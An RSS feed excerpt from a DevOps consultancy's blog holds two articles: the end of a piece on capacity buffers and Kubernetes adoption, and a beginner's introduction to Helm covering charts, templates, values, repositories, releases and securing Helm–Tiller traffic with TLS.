&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NwDPMTNg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8d42881ee865fb186a_1%2Awja-K549whP1QtXDSycrww.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NwDPMTNg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8d42881ee865fb186a_1%2Awja-K549whP1QtXDSycrww.png" alt="How much spare capacity is required to keep uptime high and cost low? — Whitespace on top is “not waste”" width="880" height="359"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;How much spare capacity is required to keep uptime high and cost low? — Whitespace on top is “not waste”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Managing a big pool of capacity requires using a method to determine how much each application needs to use at any given moment. In the world of “The Cloud” they call it “Automatic Scaling”. Using the capability to horizontally scale each component in the application to only use the amount of capacity it requires at that moment with the +15% for protection.&lt;/p&gt;

&lt;p&gt;A good way to automate this automated decision management is to use &lt;a href="https://en.wikipedia.org/wiki/Theory_of_constraints#Buffers"&gt;Eli Goldratt’s buffer management techniques&lt;/a&gt;. In the example above, the blue line specifies how many servers that component has to take away from the pool at any given time. And the red/yellow/green areas are an indicator to specify when to scale into more horizontal instances, and when to scale down into fewer component instances to free up capacity in the pool.&lt;/p&gt;

&lt;p&gt;When the amount of capacity is in the green area, everything is great. When it gets into the top yellow, add more capacity, in the bottom yellow reduce reserved capacity back into the pool for others to use. The red area is the danger zone, either the service is going to be out of capacity, or the utilization is much higher (wasteful) than it needs to be on the bottom red.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This article started with the question &lt;em&gt;“Is it better to have Windows Servers with IIS, or Linux servers with Kubernetes in terms of server utilization”&lt;/em&gt;. The answer is highly dependant on the application. There are no right or wrong answers. If the technological stack of an application has many independent small components that can scale horizontally — utilization can be improved.&lt;br&gt;
I would argue that using the public cloud, or using a container orchestrator such as Kubernetes is one way to force breaking down the monoliths into smaller components. These technologies simply require it to be so.&lt;/p&gt;

&lt;p&gt;Adopting Kubernetes or Linux for a mostly Windows shop will be a very hard struggle at first, and the investment might not even be worth the benefits. But what it will do, is force the organization to break down their monoliths and get closer to the multi-tenant independent small components, thus enable all the described benefits. The benefits are definitely there to be had, especially when huge waste and inflexibility is the standard way of operating in so many IT shops today still.&lt;/p&gt;

&lt;p&gt;Hopefully, this article has provided you with some ideas to implement in your own operations, maybe you even learned a thing or two about buffers and capacity planning.&lt;/p&gt;

&lt;p&gt;Let us know in the comments what you think!&lt;/p&gt;

&lt;h2&gt;
  
  
  Reference
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://youtu.be/dxk8b9rSKOo"&gt;Jon Jenkins on Velocity Culture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://youtu.be/2bS3FZmFcNY"&gt;Jon Jenkins on How Amazon Migrated to AWS&lt;/a&gt; (&lt;a href="https://youtu.be/CJZehE6MCxA"&gt;2&lt;/a&gt;, &lt;a href="https://youtu.be/CJZehE6MCxA"&gt;3&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.b3k.us/2009/01/25/ec2-origins.html"&gt;Benjamin Black on EC2 Origins&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://allthingsd.com/20080813/the-entire-d6-interview-with-amazoncoms-jeff-bezos-3-of-4/"&gt;Jeff Bezos interview at D6 2008 Part 3&lt;/a&gt; (&lt;a href="http://allthingsd.com/20080811/the-entire-d6-interview-with-amazoncoms-jeff-bezos-1-of-4/"&gt;1&lt;/a&gt;, &lt;a href="http://allthingsd.com/20080812/the-entire-d6-interview-with-amazoncoms-jeff-bezos-2-of-4/"&gt;2&lt;/a&gt;, &lt;a href="http://allthingsd.com/20080814/the-entire-d6-interview-with-amazoncoms-jeff-bezos-4-of-4/"&gt;4&lt;/a&gt;, &lt;a href="http://d6.allthingsd.com/20080528/bezos/"&gt;Transcript&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://youtu.be/nh8rWyDSCkc"&gt;Eli Goldratt on Buffer Management&lt;/a&gt; — &lt;a href="https://www.toc-goldratt.com/en/product/goldratt-satellite-program-gsp-series"&gt;Full episode is for pay&lt;/a&gt;, talks about how the world’s Steel Industry has a wasteful amount of excess inventory.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.prodops.io/blog/thoughts-about-the-connection-between-devops-and-the-theory-of-constraints"&gt;DevOps and the Theory of Constraints&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cloud</category>
      <category>efficiency</category>
      <category>devops</category>
      <category>prodops</category>
    </item>
    <item>
      <title>A 6-minute introduction to HELM</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 02 Sep 2019 15:25:41 +0000</pubDate>
      <link>https://forem.com/prodopsio/a-6-minute-introduction-to-helm-bc3</link>
      <guid>https://forem.com/prodopsio/a-6-minute-introduction-to-helm-bc3</guid>
      <description>&lt;p&gt;Simplifying Kubernetes application management&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iQID_VAR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn-images-1.medium.com/max/10870/1%2ANcphW9pL31JRnmnS3HkYjQ.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iQID_VAR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn-images-1.medium.com/max/10870/1%2ANcphW9pL31JRnmnS3HkYjQ.jpeg" alt="Photo by pexels.com" width="880" height="582"&gt;&lt;/a&gt;&lt;em&gt;Photo by pexels.com&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;After completing a 4-month period on a client’s project that included a complete migration from “raw” K8S-yaml-files to Helm Charts, I figured I need to put the things I’ve learned in writing for others to read, and for me to better learn.&lt;br&gt;
This post is the little brother of my &lt;a href="https://dev.to/prodopsio/an-8-minute-introduction-to-kubernetes-1oi"&gt;8-minute introduction to Kubernetes&lt;/a&gt;, make sure you read it first if you're not yet familiar with basic K8s concepts.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  TL;DR
&lt;/h3&gt;

&lt;p&gt;You can install dependencies and proprietary software on your K8S cluster with a simple: &lt;code&gt;helm install https://dev.to/prodopsio/an-8-minute-introduction-to-kubernetes-1oi/mysql&lt;/code&gt;, there are hundreds of available installations like this one, but you can also do that with &lt;strong&gt;your own&lt;/strong&gt; product/services!&lt;/p&gt;




&lt;h3&gt;
  
  
  What’s HELM?
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;“A &lt;em&gt;helmsman&lt;/em&gt; or “helm” is a person who steers a ship, sailboat, submarine, other types of maritime vessel, or spacecraft.” — &lt;a href="https://en.wikipedia.org/wiki/Helmsman"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“The package manager for Kubernetes; Helm is the best way to find, share, and use software built for Kubernetes.” — &lt;a href="https://helm.sh/"&gt;Helm.sh&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Why do we need it?
&lt;/h3&gt;

&lt;p&gt;A question I asked myself multiple times trying to understand how this magical installer thing is making my Kubernetes life better.&lt;br&gt;
Well, Helm lets you fetch, deploy and manage the lifecycle of applications, both 3rd party products and your own.&lt;/p&gt;

&lt;p&gt;No more maintaining random groups of YAML files (or very long ones) describing pods, replica-sets, services, RBAC settings, etc. With helm, there is a structure and a convention for a software package that defines a layer of YAML &lt;code&gt;templates&lt;/code&gt; and another layer that changes the templates called &lt;code&gt;values&lt;/code&gt;. Values are &lt;strong&gt;injected into templates&lt;/strong&gt;, thus allowing separation of configuration, and defining where changes are allowed. This whole package is called a "&lt;strong&gt;Helm Chart&lt;/strong&gt;".&lt;/p&gt;

&lt;p&gt;Essentially you create structured application packages that contain everything they need to run on a Kubernetes cluster; including &lt;strong&gt;dependencies&lt;/strong&gt; the application requires.&lt;/p&gt;


&lt;h3&gt;
  
  
  Helm is a CLI, Tiller is its backend
&lt;/h3&gt;

&lt;p&gt;Practically speaking, Helm is a CLI tool that interacts with its backend server called “Tiller”. Tiller is typically installed by sending the command &lt;code&gt;helm init&lt;/code&gt; and lives in the &lt;code&gt;kube-system&lt;/code&gt; namespace (unless instructed otherwise). It is in charge of deploying Charts requested by Helm.&lt;/p&gt;

&lt;p&gt;When a Chart is installed, Tiller creates a “Release” and starts tracking it for changes. This way Helm not only takes part in installation but is an actual deploy tool that manages the lifecycle of applications in a cluster using Chart Releases and their revisions.&lt;/p&gt;


&lt;h3&gt;
  
  
  Helm concepts | &lt;strong&gt;Chart&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Helm uses Charts to pack all the required K8s components for an application to deploy, run and scale. It is also where dependencies are defined, and configurations are updated and maintained.&lt;/p&gt;

&lt;p&gt;A chart root has to have only one file named &lt;code&gt;Chart.yaml&lt;/code&gt; by convention.&lt;br&gt;
It can optionally (and by default if you use helm create) have a few more components on which I’ll elaborate shortly, but first, here’s what a typical chart structure would look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="s"&gt;├── Chart.yaml&lt;/span&gt;
    &lt;span class="s"&gt;├── templates&lt;/span&gt;
    &lt;span class="s"&gt;│   ├── service.yaml&lt;/span&gt;
    &lt;span class="s"&gt;│   └── replicaset.yaml&lt;/span&gt;
    &lt;span class="s"&gt;├── charts&lt;/span&gt;
    &lt;span class="s"&gt;│   ├── nginx-ingress-1.1.2.tgz&lt;/span&gt;
    &lt;span class="s"&gt;├── requirements.lock&lt;/span&gt;
    &lt;span class="s"&gt;├── requirements.yaml&lt;/span&gt;
    &lt;span class="s"&gt;└── values.yaml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this chart (let’s call it “web-UI”), there are templates of &lt;code&gt;Service&lt;/code&gt; and &lt;code&gt;ReplicaSet&lt;/code&gt;, which upon helm installation will be created using the &lt;code&gt;values.yaml&lt;/code&gt; file that can be seen a the bottom of the list.&lt;br&gt;
Also, the web-UI chart requires Nginx to run, and so Nginx appears as a &lt;code&gt;subchart&lt;/code&gt; under the &lt;code&gt;charts&lt;/code&gt; directory. &lt;code&gt;requirements.yaml&lt;/code&gt; is the file describing the actual requirement and lists Nginx inside. The lock file which is also part of the pack is created when helm installs the requirements when commanded with helm dependency update.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;Chart.yaml&lt;/code&gt; is a description of the package and in fact the only required file in it, there are only three required entries: &lt;code&gt;apiVersion&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;version&lt;/code&gt;. Here’s an example of what it would look like:&lt;br&gt;
(You can find the full list of options and entries in a Chart &lt;a href="https://github.com/helm/helm/blob/master/docs/charts.md"&gt;right here&lt;/a&gt;.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;drone&lt;/span&gt;
    &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1.0.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Templates
&lt;/h4&gt;

&lt;p&gt;Templates are an optional subdirectory in a chart. &lt;br&gt;
They combine the K8s components, e.g. Service, ReplicaSet, Deployment etc, converted into a &lt;a href="https://golang.org/pkg/text/template/"&gt;Go-Template&lt;/a&gt; format to which values will, later on, be matched.&lt;br&gt;
Let’s take a look of a partial template example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;apps/v1&lt;/span&gt;
    &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;DaemonSet&lt;/span&gt;
    &lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;.Values.name&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
      &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;.Values.name&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
        &lt;span class="na"&gt;somelabel&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;.Values.labels.somelabelkey&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Values
&lt;/h4&gt;

&lt;p&gt;Values are described in the values.yaml file which is necessarily a yaml structure holding values to match the templates. Considering the template above, a matching values file would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;web-ui&lt;/span&gt;
    &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;somelabelkey&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;somelabelvalue&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Subcharts
&lt;/h4&gt;

&lt;p&gt;Subcharts also named dependencies, are required charts for the current one.&lt;br&gt;
You can think of it as another way of packing applications so that if my backend requires a Redis cache to run, this is another way to set it up.&lt;br&gt;
Another way of using subcharts is considering it as an inheritance mechanism which allows fetching a standard chart with templates and uses it as a subcharts in multiple parent charts that would provide the values.&lt;/p&gt;




&lt;h3&gt;
  
  
  Helm concepts | &lt;strong&gt;Repository&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Repositories are where helm charts are held and maintained. In essence, these are a set of templates and configuration values stored as code (sometimes packed as a &lt;code&gt;.tar.gz&lt;/code&gt; file).&lt;br&gt;
When you helm install stable/redis by default helm reaches out to the &lt;a href="https://github.com/helm/charts"&gt;Helm/Charts repo on GitHub&lt;/a&gt;, searching under the stable tree.&lt;/p&gt;

&lt;p&gt;Visit this repo, and you’ll also find the incubator subdirectory where you can get and install incubated Charts that have not yet been tagged as production-ready (Stable). This does not mean you can’t use them; try introducing them in a development cluster and use them. The Helm community manages strict &lt;a href="https://semver.org/"&gt;sem-ver&lt;/a&gt; guidelines for versioning, and even the smallest change creates a new Chart release. You can be confident that if a specific version of a remote Chart is working in one way, it will never break on you out of the blue.&lt;/p&gt;

&lt;p&gt;An excellent example of using a different repo is Elastic’s ElasticSearch Chart, which used to be maintained by the company in the Helm/Charts repo.&lt;/p&gt;

&lt;p&gt;Elastic had decided to move their product to their Helm repo, and to get the latest official Chart you can now &lt;code&gt;add&lt;/code&gt; their repo to Helm by:&lt;br&gt;
&lt;code&gt;helm repo add elastic&lt;/code&gt; &lt;a href="https://helm.elastic.co"&gt;https://helm.elastic.co&lt;/a&gt; &lt;br&gt;
followed by:&lt;br&gt;
&lt;code&gt;helm install --name elasticsearch elastic/elasticsearch&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Helm concepts | &lt;strong&gt;Release&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Think of a release as a mechanism to track installed applications on a K8S cluster; when an application is installed by Helm, a release is being created. You can create different installations of a product, e.g., Redis and have two different releases created and tracked in the cluster.&lt;/p&gt;

&lt;p&gt;Releases can be tracked with helm ls, each would have a “revision” which is the Helm release versioning terminology; if a specific release is updated, e.g., adding more memory to the Redis release, the revision would be incremented. Helm allows rolling back to a particular revision, making it virtually the manager for deployments and production status handler.&lt;/p&gt;




&lt;h3&gt;
  
  
  TLS
&lt;/h3&gt;

&lt;p&gt;Tiller and Helm need a way to communicate. By default, this connection is not very secure, which means that if one of the endpoints is compromised or accessible to a compromised component, traffic can be read and analyzed. Beyond discussing the actual attack surface of not securing communication between systems, we can easily create a secure TLS connection using an auto-generated certificate. In order to do that &lt;a href="https://github.com/prodopsio/gists/blob/master/setup-helm.sh"&gt;here’s a script that takes you through the process&lt;/a&gt; and can be implemented anywhere.&lt;/p&gt;




&lt;h3&gt;
  
  
  Contributions
&lt;/h3&gt;

&lt;p&gt;You may find yourself (like I have) running into a new requirement for ability or feature from an official chart under &lt;code&gt;github.com/helm/charts&lt;/code&gt;, it may very well be a bug (not so unlikely with incubator charts). Since Helm and its charts are both open source projects with hundreds of contributors, they are intensely active. Make changes to the desired chart and open a PR with the contribution, if all requirements have been made and taken care of, the team will approve the change in a matter of days.&lt;/p&gt;

&lt;p&gt;While the process is quite demanding (and we should be thankful that’s so), changes are being reviewed and approved or disapproved quickly. &lt;a href="https://github.com/helm/charts/blob/master/CONTRIBUTING.md"&gt;Read more about contributing&lt;/a&gt; to the project; note that if you’re only making small changes most of the document is not relevant as it outlines requirements for new charts.&lt;/p&gt;




&lt;h2&gt;
  
  
  That’s it.
&lt;/h2&gt;

&lt;p&gt;I hope that by now you understand Helm and why it is such a powerful system. As this is just an introduction, to learn and “feel” it, there’s no going around intense work with it; deploying 3rd party products and building your charts.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;My name is Omer, and I am an engineer at &lt;a href="http://prodops.io"&gt;ProdOps&lt;/a&gt; — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the Devops culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter &lt;a href="https://twitter.com/omergsr"&gt;&lt;strong&gt;@&lt;/strong&gt;omergsr&lt;/a&gt;. Clap if you liked it, it helps me focus my future writings.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>devops</category>
      <category>docker</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
